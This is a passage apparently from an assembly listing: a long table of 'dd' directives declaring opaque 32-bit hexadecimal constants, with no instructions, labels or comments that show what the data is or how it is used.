dd 0E62BC784h, 0BD42A203h, 88AE28F8h, 0BC1EAAh, 3483B77Bh
dd 21C16417h, 6F4F0E00h, 161B3BFFh, 0F30C0287h, 5A7376CDh
dd 7FD020C0h, 1079777Fh, 370704B8h, 7141452Fh, 0CAC98911h
dd 39C160h, 0D78D2C8Eh, 0AF1663EFh, 0B85E1405h, 2683564Dh
dd 7E8002C2h, 0CB7C369Ch, 8C97B080h, 60546AF4h, 500AEF8h
dd 4E3064A1h, 7EC852h, 0BE7FB319h, 69DF2D5h, 0D0002BE0h
dd 83E2B421h, 282662BCh, 0ACA93Fh, 54B26A0Bh, 485E193Ah
dd 59735D1Dh, 20B5F54Dh, 9C329E87h, 6599F094h, 0B0333A7h
dd 0E5ADDADEh, 0DF5B8863h, 3D1F3CB9h, 0A8E48AE0h, 30000A5Ah
dd 6BA6D6Ah, 0EEF66DFh, 35B3D5C6h, 8D470C60h, 0F70087C2h
dd 8654C8CCh, 905631FCh, 70890A4Fh, 0D86928h, 999D497Ch
dd 0EE0085BEh, 9B869AF3h, 0FED7E1h, 0A4F874A2h, 71428843h
dd 560172E4h, 6BC0326Fh, 2A154Bh, 3DBB3832h, 461FF35Eh
dd 4CFF594Ch, 4D0F077Fh, 7FF08558h, 121EBDFCh, 8051783Ch
dd 1D7BD6E8h, 0C0F1D700h, 0B4CCEB9h, 79C41EF3h, 7D3FC026h
dd 0D05ABC5Fh, 36F69D0Fh, 456360D8h, 80C310h, 0C155CD2Bh
dd 0CA837E9Fh, 3EF1D300h, 6F3FDB7Ch, 76D47D3Bh, 654000BBh
dd 8CD68AE1h, 450057D3h, 0E0D15AC2h, 7213B2Ah, 0BBFF3202h
dd 88F44142h, 71F9CBE3h, 53D8CB46h, 9400BE85h, 0B5C29D4h
dd 1D06035Fh, 57EF5B77h, 99A8004Ch, 5C9BE06Eh, 3B4739h
dd 90E11644h, 0F665CCE3h, 0D6F33CE4h, 7837C16h, 5018814Bh
dd 6A108F5Dh, 959B8800h, 32BE94F2h, 0C8DF00C3h, 54A3B8D3h
dd 7D7C8464h, 0ACE8690Fh, 0B43E8075h, 74634C8Ch, 975C50E5h
dd 50A30320h, 30DA9558h, 7F6EDC8h, 976C3F00h, 2747AC5Bh
dd 321E0718h, 5EA14874h, 8A6267C0h, 0B1F8AB9Ch, 5B42500h
dd 69F4BD27h, 2F0F00BCh
dd 11EF369Fh, 0D001CF84h, 0C53F1001h, 0FCC8395Ah, 0E55E0053h
dd 33A5D19Eh, 780041D2h, 0ADCA1DDDh, 6B8F79h, 0A27B04BCh
dd 0EE77EDB5h, 0C5478A00h, 0FA942C88h, 134A036Dh, 1966181Eh
dd 0CB9FEEC0h, 400B4F0h, 609314D9h, 3CA231D6h, 0C680AAABh
dd 91320956h, 0C289ACEh, 0C8009C9Eh, 0AA431D18h, 1904EF0h
dd 3ABFD837h, 0EC7C24C5h, 0A600EC5Bh, 0DC254DB3h, 0C144A8h
dd 0E0B8A309h, 795D2BAEh, 28ACBB5Ch, 0F500F41Ah, 0FBA9D8ECh
dd 0F76F3h, 3B4F3D5Eh, 0FAF2A75Ch, 50CD6F00h, 1F0BDFB2h
dd 5B9800D9h, 0DEE60C34h, 35008F58h, 84CD68A0h, 4CAB9499h
dd 1601C2FFh, 8C02C069h, 2742F0A2h, 0C497AC00h, 3EE3F91Fh
dd 0C3EC0005h, 0E9E79C23h, 20009365h, 7D343851h, 0C98704h
dd 0CF7BE2A9h, 0E78289D5h, 5962C500h, 0A32BE4FDh, 0EDB80030h
dd 55F3F573h, 1407A2B1h, 0A47A5CBCh, 3037B557h, 0DF1646A0h
dd 0B03B0929h, 0BC80A325h, 3C7DA8A1h, 0F8BBC000h, 84E1AA0Ch
dd 0FDEA3A76h, 8F125700h, 8CD1DCC9h, 26D4D802h, 0E0C0E021h
dd 166AE670h, 0F5FCE46h, 0D7E11BC9h, 0C15375C9h, 0C458E064h
dd 0AFA67F3Eh, 0BE2AE0F3h, 385200C2h, 0BC762E36h, 0EA00FA7Ah
dd 0A23ABDD3h, 988AF4A6h, 0ABF00073h, 9279CADFh, 0A000639Bh
dd 13782D2Fh, 3D2FD0Ah, 772087E6h, 0CBF29D81h, 41AFC0DDh
dd 3D5B00A7h, 861EA450h, 3707C433h, 0AB2F9820h, 0B8DDDEA0h
dd 9AD5001Fh, 4A856462h, 0FB0382B7h, 0E8840E81h, 247080A2h
dd 7B02485Eh, 55D39B00h, 3404076Eh, 0F3674100h, 76BB89CAh
dd 827A2F80h, 632499E0h, 0D96CF600h, 944650B1h, 36BB000Ah
dd 0B4822369h, 2929E6EFh, 5F00BC0Bh, 0BE469681h, 0D95D26FDh
dd 487A4054h, 9007405h, 0F09C75C0h, 69C813h, 28E6556Bh
dd 0B3018A0Ah, 80D81C3Dh, 0DA2C9E2Fh, 9CCA9Dh, 45D353F4h
dd 6A2E9C7h, 9F9B6B00h, 0CAC267EAh, 48C0F8F0h, 0DD001B3Ch
dd 0C616E852h, 7700C412h, 6C3B8CB8h, 91BFA7h, 39ED772h
dd 0A02949C3h, 112ED000h, 0C437C5B1h, 19E4BAh, 2C750E6Dh
dd 0EF5D7B3Ch, 57344800h, 46EF13Eh, 10544CC0h, 0CB39AC05h
dd 0B44808Dh, 0F601BE69h, 0A934B09Ah, 5C708720h, 0C4AF042Fh
dd 90062EC0h, 9DEDB300h, 1B90FC00h, 0B3764DDh, 0FACF04C3h
dd 0C5284E43h, 0EBA780F0h, 0BF01F0D4h, 2B5710B8h, 0FED4061Ch
dd 0C70C3D96h, 8B00D9ACh, 0B28024C3h, 0A69C7BA1h, 19D67F00h
dd 0A7FF93E6h, 0F6CD75B5h, 511100B7h, 0A1E13302h, 17005367h
dd 4BA9D66Eh, 22757Bh, 0F4558CDBh, 0D22BD0E2h, 0BE8A6513h
dd 21BDD102h, 67C04131h, 7EDF0760h, 0C28B3CC3h, 7A0F7900h
dd 0F20CC81Bh, 2233F03h, 0B8491DACh, 937230h, 785E13CFh
dd 0B98B328Fh, 3CE85500h, 878581B1h, 693B60CDh, 1C64C7A6h
dd 0B712CF00h, 617CDC4Dh, 5C9A2Dh, 1B24BBE9h, 38ED0B9Fh
dd 7FBC3500h, 15CD7078h, 38E0080h, 2C366997h, 3A0084C7h
dd 0BB3D3D7h, 2E0E4179h, 1875B82Fh, 0A22BF1F3h, 2486AA00h
dd 7C139DA9h, 584A4899h, 3C95531Fh, 0D43E8CD9h, 9175DE00h
dd 0B305C2E7h, 94CB250Ch, 8922112h, 0F2DA881Dh, 0FE2BCC00h
dd 0C5ACFD9h, 0FC561105h, 1230D728h, 58FD301Eh, 1BF63952h
dd 8FE9A283h, 187BDEA7h, 0E803027Ch, 0E3C4D7C3h, 0B45EA8C5h
dd 3FA503F5h, 0B3929A8Ah, 0CF85A000h, 56CBFE33h, 0A6610448h
dd 90D2E979h, 0AA8B9AB8h, 9712F500h, 9305B957h, 0CF11C098h
dd 7E330F2Ch, 9D924802h, 8AC47C34h, 120CFD7Ch, 3A1B8858h
dd 675B2FCh, 3AD4B152h, 9A28C161h, 0DD306CC9h, 0F62CF8BAh
dd 0BEE20080h, 0AA906176h, 0C00CF3Dh, 0B8E18E96h, 0A1CC9Ch
dd 5E12B0EDh, 0AF8B3748h, 417B7C0Eh, 75EBE0BFh, 211E4Ah
dd 0C528369Bh, 0DE5C42D1h, 0DB868200h, 0D743B8FDh, 1D8D010Fh
dd 3D52EBC2h, 0E3E5D86Bh, 0A34DDE03h, 0E8EA25F4h, 1DCE7F72h
dd 0A7359h, 9B0FCC54h, 8800B6B5h, 13BBE353h, 446BAC5Ah
dd 9B052542h, 99DA54Fh, 16C4A806h, 0B8185408h, 20D3E45h
dd 0D370DE80h, 3F589CEh, 9E333498h, 0FC6CC7h, 0FF5B3210h
dd 0DCB1DAE5h, 0EF00527Ch, 0AD88D7D6h, 0A4EEA816h, 0F4DE009Ch
dd 3BCFA7C4h, 56904AE7h, 217008DDh, 0C4891Dh, 0FFFE394Bh
dd 0EE1A31B9h, 7D9A880Eh, 464F87F6h, 5CA0C246h, 141FE49Dh
dd 33D0B087h, 770096BCh, 13FFC252h, 0E8F60A9Ah, 10924Ch
dd 0CC899744h, 2C038C50h, 0BD912200h, 58B63256h, 0D6B200EBh
dd 2DB8E536h, 0D209C7C8h, 802EC2C6h, 3CE24D44h, 0FE2503D9h
dd 0E4DE3F43h, 0DC56D6E0h, 47F82F00h, 5F9B0C23h, 0A408CCBBh
dd 951DD648h, 27002F71h, 24CE6256h, 2B0F0789h, 0D2B87B39h
dd 3600F9DEh, 0E4DC1805h, 3B040681h, 8AC63D7h, 4021456Eh
dd 0C70EDC43h, 0D43C0333h, 74667591h, 0D264B801h, 0CF5682FDh
dd 0B08363C0h, 0B86500EFh, 27C62DBBh, 7B00919Eh, 0E3D3CE10h
dd 3CC1D134h, 0E100B747h, 21F51328h, 0E9006E4Dh, 0F8030E63h
dd 2E23722h, 0AD7AE43Ah, 0CA40A1B5h, 4B00ECACh, 0A60F6C8Bh
dd 0E5DC67h, 0E440091Fh, 0A825B803h, 0C75A0B00h, 0A614B0CCh
dd 0E3725C46h, 0E7172203h, 0F0CF1FE2h, 56665485h, 2787061Eh
dd 0E8BF3600h, 0E52F7Fh, 0C3730B8Eh, 0F15C6FFCh, 651ED0F8h
dd 1EDD1663h, 55033000h, 0EF36D4Eh, 2FA4D3Bh, 7E5B4180h
dd 7BE0014Fh, 4E1EC500h, 145235D6h, 54D106E6h, 10209DB5h
dd 0F5049C54h, 28258631h, 7A70C6CCh, 9DE3003Ah, 5895133Ch
dd 731FD98Ah, 7580F52Fh, 87CC41F2h, 28406230h, 0C3213781h
dd 8A0272FFh, 88337F10h, 9A883BC5h, 1653080Eh, 314256F5h
dd 212922AFh, 10D30A23h, 1E775279h, 86405488h, 0B93371DFh
dd 0F4FB0050h, 3F2453DEh, 0CF7B19AFh, 51226D00h, 43853025h
dd 18F306C8h, 0F4FDD55Ah, 0F96E7D00h, 6DB70D0Bh, 880C0082h
dd 0B1715FFCh, 6A006026h, 2C1C5303h, 18DFB02h, 0AC519CDBh
dd 308F5254h, 1A00E440h, 5A157C0Dh, 31CB94h, 6692AE1Ch
dd 0BA9CD111h, 7FF7C003h, 70D43A0Eh, 0CF7F96h, 3E5E86Ch
dd 98A6474Fh, 0D722BA01h, 0C8D1EA57h, 878DC850h, 4B130034h
dd 3F2B21AFh, 0F47BFF60h, 0E000C47Ch, 0FA6D063Ah, 3F9EED7h
dd 0D392DD0Ah, 0CA976A0h, 77A7F451h, 1501ED5Ch, 0F47C45h
dd 0E9D17199h, 3449EB6h, 11CA7983h, 5AE887B4h, 8B00F47Ah
dd 4C2F29A8h, 6B036Ch, 90CE0201h, 0A2CB2D54h, 307F580Bh
dd 80EF427Eh, 6421B972h, 8A55000Fh, 4A8D869Dh, 2F04D2D9h
dd 14B1E86Ah, 502014C7h, 1EB06F3h, 185BBDACh, 8E262F86h
dd 0E101B8D8h, 0EC628459h, 0C630E8h, 85BF50A5h, 82C488E5h
dd 0BB93D500h, 0B6104BB5h, 0E4FD3D2Bh, 0DCFBFE00h, 0F4145BBCh
dd 5EB80700h, 0F7E1ACC1h, 9E9724D1h, 57C000A4h, 0CB0ED4BAh
dd 6A922400h, 16DCB8AFh, 102A6080h, 0E42E0D97h, 4F03DF7Bh
dd 3FEFD507h, 0FAAF83B1h, 32904089h, 1B67764h, 0A24D3D1Ah
dd 0F1CAB3CDh, 3378E8F3h, 0B9819500h, 0EAC8834Ch, 2DC50082h
dd 9C8E415Ah, 0D338337Ch, 58558BA4h, 46901A9h, 0DDC86E28h
dd 0F860079Ah, 632F593Eh, 0EBF020F4h, 0C71DEC50h, 0B2C099F5h
dd 0B559DC6Eh, 219760C0h, 3FB7BA83h, 0C4D1AC00h, 346C42B2h
dd 0C98800CEh, 51CCEF39h, 0D90232DAh, 0F2EE33D6h, 0A65840ADh
dd 0A27670h, 0D45D9005h, 7D43DAD5h, 7CCC1E01h, 175481F4h
dd 0F1A1820h, 9D67FDF1h
dd 0C0C15AA5h, 1B382D35h, 68C03F00h, 60565E1h, 0C8FD004Dh
dd 69A555FAh, 0E7004EBCh, 528517D0h, 86A43Bh, 53B4D779h
dd 2A250DFBh, 1375EA1Dh, 0F27873C2h, 0F07FC097h, 146D3DEEh
dd 0DBEA3E03h, 0E5C05881h, 5B00A0FFh, 67D860B8h, 33970Ah
dd 0F02E68CEh, 8B36862Ah, 0FC759000h, 96AF7458h, 945F02DEh
dd 287B2991h, 0DCF06860h, 0E72BD91Ch, 0B8A19BC0h, 4B9CC4h
dd 9711AADBh, 741477E1h, 6DBF8A05h, 1180100Ah, 0B213B1h
dd 2EA8F5DDh, 22C1B365h, 0D5A4D904h, 18C10FA2h, 8EF8F9B7h
dd 0E011EC1Fh, 0F44C0036h, 8A2C2B2Dh, 1B00EB07h, 76906557h
dd 1592F9h, 78E19C73h, 63ACDCBBh, 28871734h, 959035C0h
dd 0E8FE6F3h, 984BB7ECh, 70FCC5AAh, 6E00FE6Ch, 0FC055B72h
dd 50FF418h, 5C94073Dh, 0E8B400F9h, 0BA4FA806h, 0D4882000h
dd 0AE42DE78h, 0F438517Bh, 805DC3C4h, 0CE799417h, 34A84400h
dd 69525F51h, 0C43F39CAh, 0A243E400h, 9955C795h, 0BC2E8700h
dd 3450926Ch, 75E8796Eh, 567B00F5h, 96D36D8Fh, 0FC24B060h
dd 2200952Ah, 4FE3F29h, 0EC9504C4h, 0C0B67343h, 0AEC20388h
dd 0B3DA1500h, 0A1D633Ch, 1458980Ch, 0DC6E2F8Bh, 44D32Ah
dd 1F826FE7h, 84F179A6h, 8D709F60h, 0A157CDh, 0FC18FFB3h
dd 0A4196B3Fh, 0B49DC300h, 0EE73402Ah, 41B61F9Ch, 9125C73Bh
dd 846FF00Ah, 6A12652Ch, 0F0005C23h, 6C55CD0Bh, 0CF181F94h
dd 0A4101480h, 83811207h, 1F475044h, 8907C239h, 66EE054Dh
dd 30CB2C60h, 3AE40041h, 0D7BFF8AEh, 0D6002351h, 0EE11F131h
dd 0E0FA21h, 8BE34A8Ch, 840135E5h, 2AD2BF00h, 0AEF8A36Dh
dd 0FA450016h, 0DB2CD2Dh, 250092ECh, 0D9037FBAh, 1408F6h
dd 75693B17h, 0AFF5CECBh, 46730400h, 8090E20h, 1431035Fh
dd 34DE6AC9h, 6DF08EA8h, 0EA930F07h, 0DFB0E3FFh, 1743A4h
dd 0AB76711h, 3805D165h, 101AD400h, 0D0AB4D01h, 0E83B4880h
dd 40EB8401h, 0F19AD709h, 0CC8DCE7h, 0EFB5F700h, 9C8CA722h
dd 6EDA0E54h, 66606008h, 9449D99Bh, 97DD2600h, 8693AFA8h
dd 0D60600FCh, 64AE70BEh, 0E70EA41Fh, 0DF243DA5h, 31ACCE40h
dd 566A7h, 231EADEDh, 378FBC5Fh, 0A22E4E00h, 86DD276Dh
dd 0FF1A162Bh, 0C4B44013h, 0CBE399Ah, 247E141Dh, 84645880h
dd 7447276Eh, 0F9180F85h, 4078F73Dh, 0AD987B45h, 8057A93Dh
dd 0AFBEEA14h, 75C817h, 0A1430DD4h, 7985D750h, 0F310080Fh
dd 8DA5074Ch, 32E467D0h, 17A30018h, 0DD21595Dh, 0C03D4B1h
dd 268FF2A9h, 6BC18707h, 8330D5C9h, 0B2B10088h, 0E5AB9689h
dd 55008705h, 1ADF9954h, 48D471h, 5045C0ACh, 0BCC84F78h
dd 28645D0Eh, 0CA20F92Dh, 901D530h, 535B59BBh, 7A14DE80h
dd 60BF632Ah, 0F5D335h, 9A6B7CCh, 0AD6A9CE1h, 550A800h
dd 2F3DC530h, 0F89B5878h, 16ECA11h, 9FB91287h, 63CA6D8Ch
dd 0A557D038h, 0DDD400ADh, 1E2949D2h, 0FC00BEA7h, 0B4C062E5h
dd 7ECA70A3h, 0A259007Ah, 2F93696Ah, 4000BA6Dh, 9BB7EAEh
dd 2447E779h, 7201AFDh, 907565E0h, 5948926Dh, 305E0A00h
dd 0D3AFA51Bh, 34947Bh, 80AE1F8Bh, 0BFC23F2h, 960094E0h
dd 8AF8CECh, 0E2D9A7Bh, 70FDA8DDh, 0C6EF420h, 0F6FA1661h
dd 0A4605E00h, 0FD1258BEh, 3F190035h, 8FA72CA9h, 0BB0F9E30h
dd 2E56D9h, 7C2A5D24h, 0B6E4005Fh, 7E22F60Ch, 4B008F95h
dd 98F8FAE9h, 24799h, 913C186Bh, 5CA0837Fh, 4C170C90h
dd 0BC002610h, 3DD5575Fh, 0B665397Dh, 0D6A08080h, 34DC0B9Fh
dd 3126B701h, 0F86F2069h, 38CAF0h, 0A51C812Ah, 0C3FE411Fh
dd 0A358AE00h, 8E970FDEh, 4B6E004Eh, 50E72C25h, 0D560B281h
dd 0A507D14Eh, 587177h, 9112E621h, 3A56C01Bh, 54FE0C0Fh
dd 574800C9h, 229A89h, 881058D2h, 8D734215h, 0C971C703h
dd 0E0E47C1Ch, 589AEEh, 6EA6E870h, 9C6F17ADh, 480043FEh
dd 0A7CA3521h, 48E869C4h, 770BFA86h, 0F28E3328h, 0D4F64940h
dd 0FD00596Ch, 4B6DE91Fh, 0A089FEEAh, 0B12EB2h, 0E8293693h
dd 6984F91Ch, 0A695B516h, 0A900541Fh, 5AB33D28h, 0C808001Ah
dd 0B65E470h, 1D001387h, 0CC8BFA26h, 46F29h, 649852FBh
dd 40D07115h, 2C00F2B8h, 9C2B73DCh, 2355E1Fh, 0F31C8FC1h
dd 8AE07FB8h, 54B017AEh, 77989B0Ch, 14F029h, 20D35E92h
dd 0CA08B2E6h, 0DD2FB800h, 0A545C90Bh, 7950C074h, 3F222359h
dd 70194C00h, 5E786236h, 0BF860024h, 99728556h, 8403D00Eh
dd 77D74BC2h, 71FFF0BAh, 2D2200F4h, 0BFAFE546h, 1D1CE79Eh
dd 0CBC021D3h, 33827D56h, 260800D1h, 0C2DDDF1Ah, 97B89E9h
dd 0B56C3Eh, 0F4513CD5h, 714F637h, 0BA3B5F12h, 0A9D4C0BCh
dd 0B00042C4h, 249269B7h, 4C75CA1Ah, 34309FC8h, 0F4D96050h
dd 8083993Ch, 7CA478CCh, 82F65Eh, 64A6470Eh, 3E95237Dh
dd 0E8CFBD50h, 0FB90EC07h, 8A304ECFh, 28D9A4h, 87E6EEAEh
dd 961E52F8h, 0A05F6600h, 7997F06Eh, 99050901h, 34004946h
dd 0A252C52Fh, 0A598A538h, 0AFF41Ch, 0C777598Eh, 0A705CEACh
dd 0C3167BF2h, 804CAF09h, 5B7F787Ch, 0A077E063h, 79EC93B5h
dd 21010040h, 0F807DBB5h, 76008F58h, 7D41254Ah, 0E575A6h
dd 7080EECDh, 0A47E6C56h, 353C1500h, 0C8616DC0h, 0EFFB0033h
dd 0DECC3E82h, 860018FEh, 6A4D76E5h, 0FD06595h, 96A2A989h
dd 432A3E82h, 0EB280440h, 72A01D48h, 8935BF0Eh, 4CDBC158h
dd 0FAC05282h, 3E660006h, 5C5724A4h, 0EF00A326h, 16DFEEBBh
dd 59D8E1h, 0AB85A517h, 0D7660A1Ah, 391EA400h, 7351CAD2h
dd 0A41B60D4h, 7F8C15CEh, 0BC670213h, 69B46901h, 0E5F8FC5Dh
dd 13225C89h, 68D91707h, 18BA0C1h, 0F612B0FEh, 0FF0079A0h
dd 45F9929h, 3C56002Ah, 8257325Ch, 0B819C967h, 28C9DFF0h
dd 75037B08h, 79CF9AABh, 4617E8Bh, 0BAD0CA94h, 0F77890DFh
dd 91EC286Bh, 8FC85305h, 0F880F38Ch, 1EE045Ah, 4B25D975h
dd 0F516F040h, 0B8D1D85Fh, 7109B432h, 891C004Ch, 873C649Eh
dd 0D2528341h, 0C0C5C924h, 0E571ABCh, 995EB9D3h, 7D7703E0h
dd 50012296h, 9CD92F30h, 28202D9Dh, 0DF5400B8h, 6E64E9BAh
dd 5A005C69h, 3C2396E2h, 0F36A266h, 982FC4AEh, 0A04C8EC7h
dd 0DE1AE5EBh, 5AE30507h, 3DC03CBAh, 0B85551ADh, 43AC5C4Eh
dd 3DCBB84Eh, 7731009Ah, 4DB434D1h, 12921FC2h, 0E9C740DCh
dd 94F86207h, 0FC66ED05h, 0DC00CAB3h, 0F288D7BBh, 747D0330h
dd 0F19380FAh, 8EAE40CFh, 910363FDh, 31C628D8h, 8911000Eh
dd 0F5A8D6C4h, 30FA82FAh, 54F3A700h, 17D7FD48h, 0DDB71824h
dd 0CE5260A0h, 6B715B00h, 0E5015E4Bh, 4337264Fh, 0A1330088h
dd 19D9E03Fh, 0F2C5B200h, 0D662FFC6h, 917F0090h, 0B3B7BF3h
dd 2E0E1D0Eh, 0E0F5432Bh, 0E68ACE36h, 0EE5D7095h, 4B730327h
dd 0CD2AE8A9h, 0F940CC00h, 0B5F56555h, 0E8E24C82h, 9880E63Fh
dd 0A77707BDh, 0D1F46609h, 6492F500h, 0CCFDE353h, 0C88000A1h
dd 28377E4Eh, 0B4740DA5h, 4048F600h, 0CCC39111h, 38190099h
dd 9638F30h, 0E0136B47h, 1800FCF8h, 0EEFE104Fh, 0BC0D009Ch
dd 0C7F10ED3h, 60131918h, 980F03B5h, 2D40FE86h, 8B256F77h
dd 3F330036h, 58BD01C2h, 8100C004h, 0ECD8183Eh, 0DD97B1h
dd 9DC6C31Dh, 123F0D40h, 695B300h, 0B82AEADBh, 7C214831h
dd 0F3B22000h, 77CE40DAh, 924E1103h, 0F8B3DD03h, 939D868h
dd 21F80A4Ch, 0A69EFC80h
dd 7203C37Fh, 3009A489h, 75490060h, 0C92A3A5Dh, 9D1E07F7h
dd 1792D6F3h, 0C2A30C00h, 39B64B08h, 3B867743h, 381E135Bh
dd 0E3229F00h, 4256ADC9h, 127994h, 9073C602h, 0F3961F64h
dd 35994704h, 548084F1h, 10E3BCFEh, 9114E5h, 6C48FA67h
dd 0F9AAEB1h, 0BA83AF38h, 0B9B2BDE0h, 600C956h, 5A488A71h
dd 0FD1C7DDh, 0AFF73768h, 6990F1A0h, 0A200D04Ch, 0EE1599E5h
dd 138BE7h, 0C90DA7F5h, 19522D8Dh, 421F8900h, 0DA70C032h
dd 0D375001Dh, 48CFFCC3h, 4F00DCCEh, 0A51EE1FDh, 0F28639h
dd 6C01CCDAh, 0A4B07F1h, 91603Fh, 0E9D7EF7Eh, 4084F4h
dd 2E5F8176h, 42C1393Ch, 681A4103h, 0B7884883h, 13B2B320h
dd 0C0263393h, 0E6D811C8h, 2E00F184h, 6A8BB5B4h, 3BC3CA4Ch
dd 3980D161h, 2BCCFB29h, 5C2E48C5h, 0C0009D08h, 0A464FA4Ch
dd 0E4C8009Eh, 9D9AA112h, 1A7DBE85h, 2E24C500h, 0F3877584h
dd 0CD860190h, 0B006D2C2h, 0B885F828h, 5A9F18C0h, 439E31h
dd 0A91583F9h, 2AAC4F0Fh, 2C57AE00h, 0B428522Bh, 0BCEC009Eh
dd 0F2546368h, 73987F53h, 0D700377Fh, 886F64D6h, 1367FA3Eh
dd 45F5CCh, 0C60956F4h, 157470BDh, 22BE4100h, 0B31D380Fh
dd 0E4E70002h, 2B17B5DDh, 9209317Bh, 0A0A07467h, 0CFADBAB4h
dd 0C73900EAh, 26663602h, 5500FD3Dh, 49CC6A5Dh, 11EFBAh
dd 539C6765h, 880D6C07h, 0C748B00h, 3FFB725Dh, 124EF650h
dd 1C130BC7h, 0DD6801F1h, 0D4D8842Fh, 0FA0078BDh, 0E2FD9A4Ah
dd 0F0CC69F6h, 0C07F03h, 7062D5DAh, 30F95993h, 0F1D7DE1Fh
dd 67C9FD83h, 0D073E942h, 13F8E4D0h, 28D5E59Dh, 0AC09479Ch
dd 8F200Ch, 0EFFEA370h, 0B550054Dh, 801BBA01h, 86925958h
dd 54F220C3h, 0DCA1AFFCh, 44204B27h, 0EDEE16h, 6429AF09h
dd 3D9D2D36h, 17468100h, 129548ABh, 243C49C9h, 0BC96F300h
dd 57A95807h, 0E97CDF70h, 1D3C403Bh, 63801D34h, 0B3046EEFh
dd 7C7B8CEh, 39546FD4h, 803E8489h, 77FF0EDCh, 69296300h
dd 6053BD4Eh, 90EA0006h, 88655DF5h, 0D00BBC7h, 0FB9C3C9Ah
dd 7F4203h, 0A68D4332h, 6C4EA1B8h, 0D1F35D00h, 0CFA9C112h
dd 0CF4DCh, 6B64DFADh, 74DA3178h, 1D07E41Dh, 0FF348280h
dd 0B5C8EF5h, 62E058C6h, 279D5100h, 0E803845Eh, 43F635C2h
dd 0F8A29BEAh, 6EE5D1h, 3AE91471h, 0DCF4B4EBh, 95D8F000h
dd 452A5B1Bh, 0CEA00B2h, 5E8330DAh, 6C00A8FAh, 2B8EAF35h
dd 4EBCD9h, 677D01E8h, 40765DB5h, 63C89000h, 0CF34A6Eh
dd 0A71D0FA4h, 0EA82EEDCh, 9E82D81Fh, 5FC09AD9h, 7074019h
dd 42D1931Ah, 4466A5F0h, 0CE2400EBh, 0AC559599h, 3D0080A7h
dd 5EF06CAh, 733AC693h, 45090154h, 0CCE738C4h, 0D08FE529h
dd 7E3AAECBh, 843D001Dh, 7625E2A6h, 375700C8h, 0E92389CAh
dd 0D01699Ah, 4AD4B9DDh, 0CD47408Fh, 19B692C0h, 0EF9C5C74h
dd 0E1775900h, 5C21EB53h, 0F78E2700h, 0A53DF390h, 83053B1Dh
dd 250DC604h, 20AC80D4h, 0A600CBE0h, 0B9DE7FE4h, 3C90A4h
dd 0FE6834D2h, 0B40AE165h, 838CBA00h, 8F35753Fh, 1C360374h
dd 42C2BDC5h, 150B66B8h, 0FD024300h, 29FF414Eh, 0FB034C79h
dd 46B3EC01h, 0D8C0A49Dh, 0BE00DF1Ah, 1EF9D84Eh, 7DA7180Bh
dd 2BC00E5h, 0DB4D2B1Fh, 1600E15Ah, 1CF23E2Ch, 0CD27EBh
dd 5CA0A56Ch, 787CEF09h, 0E80041E0h, 593E7F2Dh, 0BD14A8Fh
dd 859B616Ah, 97AA1B80h, 77009C51h, 52F39F8Ch, 9007E59Ah
dd 54BC3AA8h, 172B4180h, 58BB13A5h, 2ABAD800h, 0F85D4561h
dd 0BD752Eh, 3C34192Ch, 1E62AE9Bh, 0C30070DFh, 26A45475h
dd 87C13FD4h, 11C5D106h, 9A3E201Fh, 3C9B004Eh, 0E4947A78h
dd 135777F0h, 0FEBE7D51h, 8925B301h, 2AF88E96h, 0EEA512E1h
dd 5D4840BAh, 0B7D1D288h, 0C7AE70Eh, 15B10019h, 0CC0190h
dd 0B99257Ch, 0E6351D2Fh, 0DB1A7D14h, 0A6488120h, 21CC1F7Eh
dd 0CF150A4h, 603E50AEh, 1986099Fh, 0BE80DDD9h, 8F41E2BAh
dd 986D8500h, 618A2738h, 247002AEh, 6EBC7A2Fh, 0E08239E0h
dd 342C9100h, 604D0E80h, 20A20014h, 980BC61Ah, 0A100F061h
dd 41BC1E7Eh, 3B146AFh, 0AECA3CEEh, 1CB85B20h, 1E98420Eh
dd 3AB50613h, 0FECD0FFAh, 0CB2B9100h, 42DE63A8h, 0FB6D780h
dd 65BE04h, 9D90419Ah, 46DDA345h, 0B190ABE2h, 0C0090A00h
dd 80A9CB3Eh, 430B009Bh, 68EE857Eh, 639DC34h, 0C2A48023h
dd 811EB716h, 0EBB60B5Bh, 0AB80438Bh, 0AE8D108Ah, 2C90B850h
dd 2F1A1E01h, 84B148F4h, 8B54ECh, 163CE778h, 4D7AE1DBh
dd 3E2E83Ah, 0F6F96ADEh, 8E7DC067h, 869B007Eh, 3CE5AF0Ch
dd 0BB1FD9A1h, 4E924D01h, 51FE241Ch, 468A1BCh, 0D6BA78D7h
dd 66101665h, 1B520C80h, 0A706008Dh, 0E6C5F3CBh, 3309DF93h
dd 9642BAh, 898E6672h, 0AA28C451h, 2E9042A5h, 214604DAh
dd 5194FCC0h, 71814AEh, 9BAA5189h, 88B65788h, 0C840F572h
dd 298A62CFh, 412298EEh, 0F3962299h, 24A69A22h, 0B2512192h
dd 11F4FA11h, 0A1902F35h, 0B5108616h, 787E5029h, 29DE6448h
dd 0E804237Ah, 208D2471h, 0D000A682h, 0B919DDA1h, 272EEh
dd 883590ADh, 4D5EE651h, 8AA438h, 0C32C29CAh, 4E44AEh
dd 383F4C4h, 0E822BE8Bh, 0AD904F00h, 713B596Ah, 289D0093h
dd 4ED1107Dh, 5800771Fh, 0B6F973B0h, 22264Bh, 8D07E6FCh
dd 7F28A8DEh, 310085B0h, 0C08F51EBh, 14E740h, 7EBC5058h
dd 3D7863F5h, 0E553DA00h, 9756A9CEh, 720E00FDh, 2FFB6D12h
dd 23009203h, 690F2170h, 0F00265B7h, 0FFE01D19h, 3EEBC09Bh
dd 0A2582ABEh, 82AB8D09h, 6A1C236Dh, 4B3BB8B7h, 34E800F6h
dd 0F804D7BAh, 5A004915h, 0D30CEF81h, 1F8FB5CAh, 837B6505h
dd 995A23Bh, 1E518180h, 0B5008CE4h, 0F950B848h, 4D2EC0h
dd 0A29775Bh, 0E088EE9h, 0CAF0EE00h, 4F7D2790h, 0E1A03E89h
dd 0C55B7C02h, 0B06818FDh, 0C019D19h, 0DC8367C3h, 0C140A1CFh
dd 5219E0Ah, 39783754h, 0F56EC348h, 0DF5FEBE9h, 1F3ABB98h
dd 0DCB49D03h, 0AF6C3E4Ah, 0BCF7C730h, 0C69B00CAh, 25BD0372h
dd 3203F935h, 0D273B5EBh, 9ED1C843h, 0B78600CDh, 11583851h
dd 9400442Eh, 131E5BBCh, 7CD369B3h, 0C476006Bh, 448FB9D4h
dd 382EFE0Fh, 19006883h, 0D3CDABC0h, 6CE50039h, 9447539Fh
dd 0FA1FB11Dh, 6B838FEEh, 0F7757D25h, 0D08683h, 5BA47411h
